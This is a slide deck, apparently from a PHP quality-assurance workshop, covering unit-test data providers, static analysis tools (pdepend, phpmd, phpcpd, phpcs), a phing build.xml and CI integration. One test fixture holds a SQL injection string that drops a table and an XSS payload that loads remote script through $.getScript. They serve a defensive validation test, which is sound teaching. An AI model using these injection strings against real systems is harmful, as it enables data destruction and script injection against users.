  • 65. badDataProvider        /**            *  Provides  data  that  we  consider  to  be  unsafe            *  @return  array            */          public  function  badDataProvider()          {                  return  [                          [                                  [                                          'commentId'        =>  0,                                          'fullName'          =>  '',                                          'emailAddress'  =>  '',                                          'website'            =>  '',                                          'comment'            =>  '',                                  ]                          ],[                                  [                                          'commentId'        =>  'Little  Bobby  Tables',                                          'fullName'          =>  'Robert');  DROP  TABLE  `students`;  -­‐-­‐',                                          'emailAddress'  =>  'clickjack@hackers',                                          'website'            =>  "http://t.co/@"style="font-­‐size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",                                          'comment'            =>  'exploit  twitter  9/21/2010',                                  ]                          ],                  ];          }
  • 66. our bad data test        /**            *  @dataProvider  badDataProvider            */          public  function  testCommentIsProtectedAgainstHacks($data)          {                  $comment  =  new  Comment();                  $comment-­‐>getInputFilter()-­‐>setData($data);                  $this-­‐>assertFalse($comment-­‐>getInputFilter()-­‐>isValid());          }
  • 68. Exercise • Add some more “badData” entries • See if the validation rules hold • Test one of the latest exploits
  • 69. Wanna know more… Come and see me after the workshop
  • 72. • CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls pDepend info
  • 73. • metric calculation • execution paths • independent control structures • if, else, for, foreach, switch case, while, do, … • within a single method or function • more info 
 http://en.wikipedia.org/wiki/Cyclomatic_complexity Cyclomatic Complexity
  • 74. • The average of the maximum length from a root class to its deepest subclass Average Hierarchy Height
  • 75. Pyramid Inheritance few classes derived from other classes lots of classes inherit from other classes Inheritance
  • 83. What? • detects code smells • possible bugs • sub-optimal code • over complicated expressions • unused parameters, methods and properties • wrongly named parameters, methods or properties
  • 84. Example output ./vendor/bin/phpmd exercise/ html cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./ build/logs/phpmd.html
  • 86. What? • detects similar code snippets • plain copy/paste work • similar code routines • indicates problems • maintenance hell • downward spiral of disasters • stimulates improvements • refactoring of code • moving similar code snippets in common routines
  • 89. What? • validates coding standards • consistency • readability • set as a policy for development • reports failures to meet the standard • sometimes good: parentheses on wrong line • mostly bad: line exceeds 80 characters • but needed for terminal viewing of code • can be set as pre-commit hook • but can cause frustration!!!
  • 91. Exercise • Run the following commands against “MyClass” • pdepend • phpmd • phpcpd • phpcs (php_CodeSniffer) • What is the result?
  • 93. Using phing The PHP builder http://phing.info
  • 94. build.xml <?xml  version="1.0"  encoding="UTF-­‐8"?>   <project  name="PHPQA  Workshop"  default="build">          <fileset  dir="${project.basedir}"  id="files">                  <include  name="${project.basedir}/exercise/**"/>          </fileset>          <target  name="php-­‐lint"  description="Run  syntax  checking  on  the  codebase">                  <phplint>                          <fileset  refid="files"/>                  </phplint>          </target>          <target  name="php-­‐doc"  description="Generate  automated  documentation">                  <exec                          command="./vendor/bin/phpdoc  run  -­‐d  exercise/  -­‐t  build/phpdoc/"                          dir="${project.basedir}"/>          </target>          <!-­‐-­‐  ...  -­‐-­‐>            <target  name="build"  description="The  build  process">                  <phingcall  target="php-­‐lint"/>                  <phingcall  target="php-­‐doc"/>                  <phingcall  target="php-­‐depend"/>                  <phingcall  target="php-­‐md"/>                  <phingcall  target="php-­‐cpd"/>                  <phingcall  target="php-­‐cs"/>          </target>   </project>  
  • 95. Benefits • Everyone executes the processes the same • Including automated CI tools • Once a new “target” is defined, it’s available
  • 96. There’s more with phing • auto upgrade databases • warming up caches • deploy over multiple nodes • collect statistics • perform benchmark/performance tests • …
  • 97. Easy CI integration • Jenkins CI • JetBrains TeamCity • Atlassian Bamboo • ContinuousPHP
  • 103. Contact us in it2PROFESSIONAL PHP SERVICES Michelangelo van Dam michelangelo@in2it.be ! www.in2it.be PHP Consulting - Training - QA
  • 105. Thank you Have a great conference http://www.flickr.com/photos/drewm/3191872515